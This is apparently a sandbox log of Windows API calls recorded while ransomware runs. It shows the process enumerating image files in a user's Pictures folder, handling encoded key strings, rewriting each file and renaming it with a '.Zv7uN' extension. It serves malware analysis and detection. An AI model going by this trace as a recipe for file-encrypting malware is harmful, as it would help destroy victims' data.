[0085.216] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbc71c80, ftCreationTime.dwHighDateTime=0x1d5deaf, ftLastAccessTime.dwLowDateTime=0x3698dd0, ftLastAccessTime.dwHighDateTime=0x1d5e78a, ftLastWriteTime.dwLowDateTime=0x3698dd0, ftLastWriteTime.dwHighDateTime=0x1d5e78a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0085.216] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbc71c80, ftCreationTime.dwHighDateTime=0x1d5deaf, ftLastAccessTime.dwLowDateTime=0x3698dd0, ftLastAccessTime.dwHighDateTime=0x1d5e78a, ftLastWriteTime.dwLowDateTime=0x3698dd0, ftLastWriteTime.dwHighDateTime=0x1d5e78a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0085.216] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b78cc80, ftCreationTime.dwHighDateTime=0x1d5e6da, ftLastAccessTime.dwLowDateTime=0x28ef3820, ftLastAccessTime.dwHighDateTime=0x1d5e096, ftLastWriteTime.dwLowDateTime=0x28ef3820, ftLastWriteTime.dwHighDateTime=0x1d5e096, nFileSizeHigh=0x0, nFileSizeLow=0x79ea, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="7iA8732Kdu78.bmp", cAlternateFileName="7IA873~1.BMP")) returned 1 [0085.217] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0085.217] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\7iA8732Kdu78.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\7ia8732kdu78.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b78cc80, ftCreationTime.dwHighDateTime=0x1d5e6da, ftLastAccessTime.dwLowDateTime=0x28ef3820, ftLastAccessTime.dwHighDateTime=0x1d5e096, ftLastWriteTime.dwLowDateTime=0x28ef3820, ftLastWriteTime.dwHighDateTime=0x1d5e096, nFileSizeHigh=0x0, nFileSizeLow=0x79ea)) returned 1 [0085.217] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\7iA8732Kdu78.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\7ia8732kdu78.bmp")) returned 0x20 [0085.217] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\7iA8732Kdu78.bmp", dwFileAttributes=0x80) returned 1 [0085.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f3e8dc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0085.220] GetCurrentThreadId () returned 0xa30 [0085.220] GetCurrentThreadId () returned 0xa30 [0085.220] GetCurrentThreadId () returned 0xa30 [0085.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f4f93c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.221] GetCurrentThreadId () returned 0xa30 [0085.221] GetCurrentThreadId () returned 0xa30 [0085.221] GetCurrentThreadId () returned 0xa30 [0085.221] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\7iA8732Kdu78.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\7ia8732kdu78.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.221] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0085.222] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.222] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x79ea [0085.222] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.222] ReadFile (in: hFile=0x11c, lpBuffer=0x1f57740, nNumberOfBytesToRead=0x79ea, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f57740*, lpNumberOfBytesRead=0x18f108*=0x79ea, lpOverlapped=0x0) returned 1 [0085.224] CloseHandle (hObject=0x11c) returned 1 [0085.225] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\7iA8732Kdu78.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\7ia8732kdu78.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.227] WriteFile (in: hFile=0x11c, lpBuffer=0x1f5f770*, nNumberOfBytesToWrite=0x79ea, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f5f770*, lpNumberOfBytesWritten=0x18f114*=0x79ea, lpOverlapped=0x0) returned 1 [0085.230] CloseHandle (hObject=0x11c) returned 1 [0085.231] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\7iA8732Kdu78.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\7ia8732kdu78.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\7iA8732Kdu78.bmp.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\7ia8732kdu78.bmp.zv7un")) returned 1 [0085.232] GetCurrentThreadId () returned 0xa30 [0085.232] GetCurrentThreadId () returned 0xa30 [0085.232] GetCurrentThreadId () returned 0xa30 [0085.232] GetCurrentThreadId () returned 0xa30 [0085.232] GetCurrentThreadId () returned 0xa30 [0085.232] GetCurrentThreadId () returned 0xa30 [0085.233] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e6d94a0, ftCreationTime.dwHighDateTime=0x1d5e306, ftLastAccessTime.dwLowDateTime=0x2a7bb150, ftLastAccessTime.dwHighDateTime=0x1d5dfe2, ftLastWriteTime.dwLowDateTime=0x2a7bb150, ftLastWriteTime.dwHighDateTime=0x1d5dfe2, nFileSizeHigh=0x0, nFileSizeLow=0xa0d2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="EMtuZH-5jQdTrJmsCm.jpg", cAlternateFileName="EMTUZH~1.JPG")) returned 1 [0085.233] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.233] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.233] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\EMtuZH-5jQdTrJmsCm.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\emtuzh-5jqdtrjmscm.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e6d94a0, ftCreationTime.dwHighDateTime=0x1d5e306, ftLastAccessTime.dwLowDateTime=0x2a7bb150, ftLastAccessTime.dwHighDateTime=0x1d5dfe2, ftLastWriteTime.dwLowDateTime=0x2a7bb150, ftLastWriteTime.dwHighDateTime=0x1d5dfe2, nFileSizeHigh=0x0, nFileSizeLow=0xa0d2)) returned 1 [0085.233] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\EMtuZH-5jQdTrJmsCm.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\emtuzh-5jqdtrjmscm.jpg")) returned 0x20 [0085.233] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\EMtuZH-5jQdTrJmsCm.jpg", dwFileAttributes=0x80) returned 1 [0085.235] WideCharToMultiByte (in: CodePage=0x4e4, 